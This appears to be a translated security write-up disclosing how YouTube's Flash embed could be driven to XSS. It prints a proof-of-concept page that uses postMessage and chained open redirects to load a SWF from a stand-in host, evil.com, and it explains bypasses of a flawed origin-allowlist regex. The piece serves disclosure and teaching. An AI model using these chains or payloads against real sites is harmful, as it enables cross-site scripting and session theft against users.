Flash漏洞的死灰復燃4
Youtube以 http://youtube.com/embed/[VIDEO_ID] 的地址形式提供了 HTML5 API。當 iframe 開始載入時,它會首先檢查瀏覽器是否支持 HTML5 播放器。如果不行的話,它會退回成 flash 播放器。不過用戶也可在 url 中使用 nohtml5=1 參數來強制使用 flash 播放器。
這是大致流程:
如果你用我們[第一部分]的實例和這一個作對比,你會發現 iframe"Youtube Embed"實質上代替了"Youtube Wrapper",Flash/javascript 轉換API也被換成了更加現代化的 postMessage 和 sharedEvent。換個角度來想,Flash 和 HTML5 都提供了類似的功能,只是實現不一樣罷了。
Youtube的Flash API和iframe API十分相似。瀏覽器也因此實現了一個奇葩的行為,它們會自動把
<object data=」youtube.com/v/[VIDEO_ID]」>n(Youtube Flash api)替換成<objectndata=」youtube.com/embed/[VIDEO_ID]」>(Youtube iframe api) 以強制將網站的Flash換為html5n
觸發 Youtube 上基於 Flash 的 XSS 不一定要直接從主站,在這裡,我們將介紹如何利用命令發送功能(如 playVideo() ,pauseVideo() )攻陷Flash文件。
基於loadPlaylist的XSS
loadPlaylist() 允許 youtube 的 iframe 載入一個播放列表。它的參數一般為 Youtube 的某個播放列表 id 或者一個包含 Youtube 視頻 ID 的數組。當選擇使用數組時,我們還可以給每個視頻注入預覽圖片 url。
Flash也用 Loader.load 載入圖像(和載入外部Flash文件 一樣),我們可以將圖片URL替換為swf 文件,原本用來載入 Loader.load 現在則會執行 swf。不過主程序會先檢查一遍該 URL 是否在 http://youtube.com 域上,再載入該 URL。所幸的是,谷歌並不會修復 URL 任意跳轉漏洞。我們便可以使用 youtube 的跳轉功能完成攻擊。雖然 Youtube 只能重定向用戶到 http://google.com,但我進一步利用了谷歌的任意跳轉來達到目的:
https://accounts.youtube.com/accounts/SetSID?continue=https://www.google.com/amp/s/evil.com/evil.swf。當http://Youtube.com/embed/XXX載入了evil.swf,我們就可以使用自己的XSS payload了。默認情況下,Flash只給同一個域名下的Flash開啟Flash/js轉換API。但http://youtube.com/embed/[VIDEO_ID] <object>標籤使用了屬性 allowscriptaccess=always (對任意Flash開啟Flash/js轉換API)
這是PoC的大致流程:
http://evil.com/evil.html源代碼:
<!DOCTYPE html>n<html>n<body>n<!-- 降級Youtube iframe html5播放器為Flash播放器n-->n<iframe id="player"nsrc="https://www.youtube.com/embed/?nohtml5=1"></iframe>n<script>n// 延遲5秒,讓 Youtube iframe 完全載入nsetTimeout(nfunction(){n// 用postMessage發送loadPlaylist和預覽圖像鏈接命令給Youtube iframendocument.getElementById("player").contentWindow.postMessage({"command":"loadPlaylist","data":[{"video_id":"xyz","iurl":"https://accounts.youtube.com/accounts/SetSID?continue=https%3A%2F%2Fwww.google.com%2Famp%2Fs%2Fevil.com%2Fevil.swf"}]},n"*");n}n, 5000);n</script>n</body>n</html>n
evil.swf源代碼:
public class Main extends Sprite {npublic function Main(){n// 用Flash/js轉換API執行XSSnExternalInterface.call("alert", "document.domain + nXSSed!");n}n}n
攻擊場景:
要求:目標開啟了Flash player
- 目標瀏覽http://evil.com/evil.html
- evil.html載入http://youtube.com/embed iframe
- http://evil.com發送payload
- http://youtube.com/embed載入了evil.swf
- http://evil.com在http://youtube.com/embed中執行了XSS
trustedLoader正則表達式引起的血案
除了像 playVideo 和 loadPlaylist 這類的公開命令外,Youtube也有許多私有命令。不過它們只能被驗證過的源載入(比方說google
drive)。往往程序用了一個正則去過濾,如下:
public static const trustedLoader:RegExp = newnRegExp("^https?://((www.|encrypted.)?google(.com|.co)?.[a-z]{2,3}/(search|webhp)?|24e12c4a-a-95274a9c-s-sites.googlegroups.com/a/google.com/flash-api-test-harness/apiharness.swf|www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris|tpc.googlesyndication.com/safeframe/|lightbox-(demos|builder).appspot.com/|([A-Za-z0-9-]{1,63}.)*(imasdk.googleapis.com|corp.google.com|borg.google.com|docs.google.com|drive.google.com|googleads.g.doubleclick.net|googleplex.com|play.google.com|prod.google.com|sandbox.google.com|photos.google.com|picasaweb.google.com|lh2.google.com|plus.google.com|books.googleusercontent.com|mail.google.com|talkgadget.google.com|survey.g.doubleclick.net|youtube.com|youtube.googleapis.com|youtube-nocookie.com|youtubeeducation.com|vevo.com)(:[0-9]+)?([/?#]|$))");n
在讀餘下的文章之前,我強烈建議讀者先試著找出上面這條式子的錯誤
--------------------餘下正文----------------------
`.`(點)在正則表達式中代表著通配符。如果你想匹配一個普通的點,那麼你要用`.`的方式escape。
在trustedLoader的正則中,我們發現了如下代碼:
http://24e12c4a-a-95274a9c-s-sites.googlegroups.com/a/google.com/flash-api-test-harness/apiharness.swf
注意到了嗎?這裡的點並不表示匹配`.`符號(而是一個通配符)。哪怕傳遞的是不被谷歌控制的url(比如 http://24e12c4a-a-95274a9c-s-sitesAgooglegroups.com/a/google.com/flash-api-test-harness/apiharness.swf ,注意大寫的A),它也會返回true。
我花了一美刀買下了這個域名,再讓 swf 調用私有命令 updateVideoData() 來任意執行命令。因為 updateVideoData 的工作原理和 loadPlaylist 類似,我就不再放上PoC了。
trustedLoader,再一次!
我們再來看看其他表達式:`google(.com|.co)?.[a-z]{2,3}`
很遺憾,我們可以輕鬆繞過這一防禦:`google.com.fun`
以及這個:www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris
正則本身沒有問題,然而www.gstatic.com存在許多XSS。我們能通過XSS讓 http://www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris 載入 Youtube 的 iframe,最後發送 updateVideoData() 來X站。
這是大概的工作流程:
前提:目標安裝了Flash並打開 http://www.gstatic.com/charts/motionchart/0/en_GB/tlz-gviz.swf?chartId=[javascript代碼]
- js代碼先讓 www.gstatic.com/charts/motionchart/0/en_GB/tlz-gviz.swf 載入了一個到` https://www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris 的iframe
- js代碼再讓 https://www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris 載入一個倒 youtube 的 iframe。
- iframe發送一個 updateVideoData()。過濾器沒有檢測出異常,並接受了請求
- 主程序載入了惡意Flash,成功地執行了XSS
推薦閱讀:
※GitHub 萬星推薦:黑客成長技術清單
※網站被「黑」了,域名商這鍋你別想甩!!!
※陳學理:他做了15年安全,為什麼要去做運動頭盔?
※如何Unlock一輛汽車?一個可以無線解鎖百萬輛汽車的研究成果
※Tor Project Opens Bounty Program To All Researchers